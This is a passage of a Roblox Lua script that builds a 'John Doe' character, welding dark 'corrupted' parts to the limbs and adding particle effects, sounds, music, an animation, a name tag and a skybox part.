Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 6.5424797e-007, -6.48946025e-006, -3.64865258e-007, 0.999998629, 9.58411874e-007, 3.61912225e-006, -5.34497644e-007, 0.999998629),C1 = CFrame.new(-0.408125639, -0.216332912, 0.397896528, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.600000024, 0.200000003),CFrame = CFrame.new(2.68596959, 0.816166699, 1.25195313, 0.999971032, 0.0011022269, -0.00980960391, -0.00109704852, 1.00001776, 0.000537177373, 0.00981036108, -0.000526409131, 0.999942601),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999951303, -0.0010970087, 0.00981015898, 0.00110222446, 0.999999166, -0.000526388001, -0.00980970077, 0.00053719338, 0.99995172),C1 = CFrame.new(5.20944595e-005, -0.499986172, 0.399987936, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
ScatterEff(EffCorruptedPart)
RightArm = New("Model",chara,"RightArm",{})
MainPart = New("Part",RightArm,"MainPart",{Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 2, 1),CFrame = CFrame.new(2.011096, 6.31690788, -3.92582893, 0.00918400101, -0.262283146, 0.964947343, 0.259330034, 0.932596445, 0.251021653, -0.965745091, 0.247934431, 0.0765828639),CanCollide = false,})
Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara["Right Arm"],C0 = CFrame.new(0, 0, 0, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),C1 = CFrame.new(-2.86102295e-006, -9.05990601e-006, -2.38418579e-006, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
Hitbox = New("Part",RightArm,"Hitbox",{BrickColor = BrickColor.new("Really black"),Transparency = 1,Transparency = 1,Size = Vector3.new(1, 4, 1),CFrame = CFrame.new(22.2733669, 5.0842762, -22.1737366, -0.964945257, -0.262290984, 0.00919180829, -0.251027077, 0.93259424, 0.259333313, -0.0765930116, 0.247935042, -0.965744138),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Weld = New("ManualWeld",Hitbox,"Weld",{Part0 = Hitbox,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964945257, -0.251027077, -0.0765930116, -0.262290984, 0.93259424, 0.247935042, 0.00919180829, 0.259333313, -0.965744138),C1 = CFrame.new(-1.52587891e-005, -1.00003147, -1.71661377e-005, 0.0091838371, 0.259330064, -0.965745151, -0.262283117, 0.932596445, 0.247934505, 0.964947283, 0.251021653, 0.0765827149),})
CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 2, 1),CFrame = CFrame.new(2.011096, 6.3169179, -3.92581391, -0.964945257, -0.262290984, 0.00919180829, -0.251027077, 0.93259424, 0.259333313, -0.0765930116, 0.247935042, -0.965744138),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964945138, -0.251027018, -0.0765930042, -0.262290984, 0.932594121, 0.247935027, 0.00919180084, 0.259333313, -0.965744197),C1 = CFrame.new(-1.1920929e-005, 1.28746033e-005, 3.57627869e-006, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 0.600000024, 0.400000036),CFrame = CFrame.new(2.14866924, 6.03215551, -4.72580194, -0.964945078, 0.262291819, -0.00918725226, -0.251029015, -0.932593465, -0.259333432, -0.0765890032, -0.247936144, 0.965744317),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("SpecialMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),MeshType = Enum.MeshType.Wedge,})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964944899, -0.251028955, -0.0765889958, 0.262291819, -0.932593465, -0.247936144, -0.00918724574, -0.259333432, 0.965744257),C1 = CFrame.new(0.699988842, -0.499982834, 7.62939453e-006, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 1.20000005, 0.600000024),CFrame = CFrame.new(2.63876629, 4.02682734, -4.32773018, -0.964945078, 0.262291819, -0.00918725226, -0.251029015, -0.932593465, -0.259333432, -0.0765890032, -0.247936144, 0.965744317),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("SpecialMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),MeshType = Enum.MeshType.Wedge,})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964944899, -0.251028955, -0.0765889958, 0.262291819, -0.932593465, -0.247936144, -0.00918724574, -0.259333432, 0.965744257),C1 = CFrame.new(-0.199987888, -2.39999342, 3.02791595e-005, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 1, 0.600000024),CFrame = CFrame.new(1.62134135, 7.81954479, -3.94021821, 0.964945078, -0.262291819, -0.00918725226, 0.251029015, 0.932593465, -0.259333432, 0.0765890032, 0.247936144, 0.965744317),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("SpecialMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),MeshType = Enum.MeshType.Wedge,})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.964944899, 0.251028955, 0.0765889958, -0.262291819, 0.932593465, 0.247936144, -0.00918724574, -0.259333432, 0.965744257),C1 = CFrame.new(0.399995804, 1.5000124, -2.38418579e-007, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 0.600000024, 0.400000036),CFrame = CFrame.new(2.35483098, 5.18234444, -4.53787422, -0.964945078, 0.262291819, -0.00918725226, -0.251029015, -0.932593465, -0.259333432, -0.0765890032, -0.247936144, 0.965744317),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("SpecialMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),MeshType = Enum.MeshType.Wedge,})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964944899, -0.251028955, -0.0765889958, 0.262291819, -0.932593465, -0.247936144, -0.00918724574, -0.259333432, 0.965744257),C1 = CFrame.new(0.300010204, -1.29999256, 1.40666962e-005, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 1, 0.600000024),CFrame = CFrame.new(1.88730097, 6.99068737, -4.57445002, -0.964945078, 0.262291819, -0.00918725226, -0.251029015, -0.932593465, -0.259333432, -0.0765890032, -0.247936144, 0.965744317),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("SpecialMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),MeshType = Enum.MeshType.Wedge,})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964944899, -0.251028955, -0.0765889958, 0.262291819, -0.932593465, -0.247936144, -0.00918724574, -0.259333432, 0.965744257),C1 = CFrame.new(0.799996853, 0.50001812, 4.29153442e-006, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 0.800000072, 0.600000024),CFrame = CFrame.new(2.37646794, 4.9594202, -4.07979012, -0.964945316, -0.262290984, 0.00918756705, -0.251028091, 0.932593942, 0.259333163, -0.0765890256, 0.247935995, -0.965744197),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964945138, -0.251028031, -0.0765890107, -0.262290955, 0.932593882, 0.247935966, 0.0091875596, 0.259333193, -0.965744257),C1 = CFrame.new(-0.199994564, -1.39999104, 1.52587891e-005, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
RightLeg = New("Model",chara,"RightLeg",{})
MainPart = New("Part",RightLeg,"MainPart",{Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 2, 1),CFrame = CFrame.new(2.29641008, 1.31540966, 0.248092994, 0.00933599845, 0.00110999751, 0.999955773, -0.0030579993, 0.999994755, -0.00108149007, -0.99995178, -0.0030477671, 0.00933934376),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,})
Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara["Right Leg"],C0 = CFrame.new(0, 0, 0, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),C1 = CFrame.new(2.98023224e-008, -8.58306885e-006, 2.38418579e-007, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(2.70045996, 1.61376095, -0.149078026, 0.999955833, 0.00111049914, -0.0093326522, -0.00108199986, 0.999994755, 0.00305823679, 0.00933599938, -0.00304800388, 0.999951839),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955893, -0.00108199986, 0.00933599938, 0.00111049926, 0.999994755, -0.00304800388, -0.0093326522, 0.00305823679, 0.99995178),C1 = CFrame.new(0.400011688, 0.300008655, 0.400000095, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.600000024, 0.200000003),CFrame = CFrame.new(1.90071809, 1.81462395, -0.157150015, 0.999955714, 0.00111050205, -0.0093366541, -0.00108199974, 0.999994755, 0.00305724167, 0.00933999754, -0.00304700364, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111050217, 0.999994755, -0.00304700388, -0.00933665317, 0.00305724121, 0.99995178),C1 = CFrame.new(0.400002658, 0.50000751, -0.399999142, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000036, 0.200000003),CFrame = CFrame.new(1.896873, 1.71584904, 0.243133992, 0.999955714, 0.00111050205, -0.0093366541, -0.00108199974, 0.999994755, 0.00305724167, 0.00933999754, -0.00304700364, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111050217, 0.999994755, -0.00304700388, -0.00933665317, 0.00305724121, 0.99995178),C1 = CFrame.new(4.14252281e-006, 0.400008917, -0.399998784, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.800000072, 0.200000003),CFrame = CFrame.new(1.89314091, 1.71706903, 0.643112063, 0.999955714, 0.00111050205, -0.0093366541, -0.00108199974, 0.999994755, 0.00305724167, 0.00933999754, -0.00304700364, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111050217, 0.999994755, -0.00304700388, -0.00933665317, 0.00305724121, 0.99995178),C1 = CFrame.new(-0.399993181, 0.400005698, -0.399996519, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
EffCorruptedPart = New("Part",RightLeg,"EffCorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 1.20000005, 1),CFrame = CFrame.new(2.29597116, 0.915416002, 0.249298006, 0.999955714, 0.00111051137, -0.00933665317, -0.00108199974, 0.999994755, 0.00305824191, 0.00933999754, -0.00304800365, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",EffCorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",EffCorruptedPart,"Weld",{Part0 = EffCorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111051148, 0.999994755, -0.00304800388, -0.00933665223, 0.00305824145, 0.99995178),C1 = CFrame.new(1.41263008e-005, -0.399995744, 5.00679016e-006, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000006, 0.200000003),CFrame = CFrame.new(2.300596, 1.71419013, -0.153122023, 0.999955714, 0.00111051137, -0.00933665317, -0.00108199974, 0.999994755, 0.00305824191, 0.00933999754, -0.00304800365, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111051148, 0.999994755, -0.00304800388, -0.00933665223, 0.00305824145, 0.99995178),C1 = CFrame.new(0.400015235, 0.400005817, 7.39097595e-006, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.600000024, 0.200000003),CFrame = CFrame.new(2.69322205, 1.81620288, 0.650299072, 0.999955714, 0.00111051137, -0.00933665317, -0.00108199974, 0.999994755, 0.00305824191, 0.00933999754, -0.00304800365, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111051148, 0.999994755, -0.00304800388, -0.00933665223, 0.00305824145, 0.99995178),C1 = CFrame.new(-0.400013447, 0.500005245, 0.400009155, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000006, 0.200000003),CFrame = CFrame.new(2.69684124, 1.71498096, 0.250625998, 0.999955714, 0.00111051137, -0.00933665317, -0.00108199974, 0.999994755, 0.00305824191, 0.00933999754, -0.00304800365, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111051148, 0.999994755, -0.00304800388, -0.00933665223, 0.00305824145, 0.99995178),C1 = CFrame.new(-1.63316727e-005, 0.400005937, 0.400005102, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
ScatterEff(EffCorruptedPart)
sa = RightArm:GetChildren()
for i = 1, #sa do
ScatterEff(sa[i])
end
local eff1 = Instance.new("ParticleEmitter",EyeFire)
eff1.Size = NumberSequence.new(.1)
eff1.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)})
eff1.LightEmission = 1
eff1.Lifetime = NumberRange.new(.5)
eff1.Speed = NumberRange.new(1)
eff1.EmissionDirection = "Front"
eff1.Rate = 100
eff1.Texture = "rbxassetid://347504241"
eff1.Acceleration = Vector3.new(0,10,0)
eff1.Color = ColorSequence.new(Color3.new(1,0,0))
local eff2 = Instance.new("ParticleEmitter",EyeFire)
eff2.Size = NumberSequence.new(.1)
eff2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)})
eff2.LightEmission = 1
eff2.Lifetime = NumberRange.new(.5)
eff2.Speed = NumberRange.new(1)
eff2.EmissionDirection = "Front"
eff2.Rate = 100
eff2.Texture = "rbxassetid://347504259"
eff2.Acceleration = Vector3.new(0,10,0)
eff2.Color = ColorSequence.new(Color3.new(1,0,0))
local eff3 = Instance.new("ParticleEmitter",EyeFire)
eff3.Size = NumberSequence.new(.1)
eff3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(1,1)})
eff3.LightEmission = 1
eff3.Lifetime = NumberRange.new(.5)
eff3.Speed = NumberRange.new(1)
eff3.EmissionDirection = "Front"
eff3.Rate = 100
eff3.Texture = "rbxasset://textures/particles/fire_main.dds"
eff3.Acceleration = Vector3.new(0,10,0)
eff3.Color = ColorSequence.new(Color3.new(1,0,0))
--Sounds--
slashsnd = New("Sound",chara.Torso,"Slash",{SoundId = "rbxassetid://28144425",PlaybackSpeed = .7,Volume = 5})
hitsnd = New("Sound",chara.Torso,"Hit",{SoundId = "rbxassetid://429400881",PlaybackSpeed = .7,Volume = 5})
telesnd = New("Sound",chara.Torso,"Tele",{SoundId = "rbxassetid://2767090",PlaybackSpeed = .7,Volume = 5})
burnsnd = New("Sound",chara.Torso,"Burn",{SoundId = "rbxassetid://32791565",PlaybackSpeed = .7,Volume = 5})
music1 = New("Sound",chara.Torso,"Music1",{SoundId = "rbxassetid://151038517",PlaybackSpeed = .5,Volume = 10,Looped = true})
music2 = New("Sound",chara.Torso,"Music2",{SoundId = "rbxassetid://11984351",PlaybackSpeed = .2,Volume = 5,Looped = true})
deathmus = New("Sound",chara.Torso,"DeathMus",{SoundId = "rbxassetid://19094700",PlaybackSpeed = .5,Volume = 5,Looped = true})
deathex = New("Sound",chara.Torso,"DeathEx",{SoundId = "rbxassetid://11984351",PlaybackSpeed = 1,Volume = 5})
music1:Play()
music2:Play()
--Animations--
swinganim = chara.Humanoid:LoadAnimation(New("Animation",chara,"Swing",{AnimationId = "rbxassetid://186934658"}))
--Name Tag--
local naeeym = Instance.new("BillboardGui",chara)
naeeym.Size = UDim2.new(0,100,0,40)
naeeym.StudsOffset = Vector3.new(0,2,0)
naeeym.Adornee = chara.Head
local tecks = Instance.new("TextLabel",naeeym)
tecks.BackgroundTransparency = 1
tecks.BorderSizePixel = 0
tecks.Text = "John Doe"
tecks.Font = "Fantasy"
tecks.FontSize = "Size24"
tecks.TextStrokeTransparency = 0
tecks.TextStrokeColor3 = Color3.new(0,0,0)
tecks.TextColor3 = Color3.new(0,0,0)
tecks.Size = UDim2.new(1,0,0.5,0)
--Skybox--
skybox = Instance.new("Part",chara)
skybox.Size = Vector3.new(0,0,0)
skybox.Anchored = true
skybox.CanCollide = true
skyboxmesh = Instance.new("SpecialMesh",skybox)
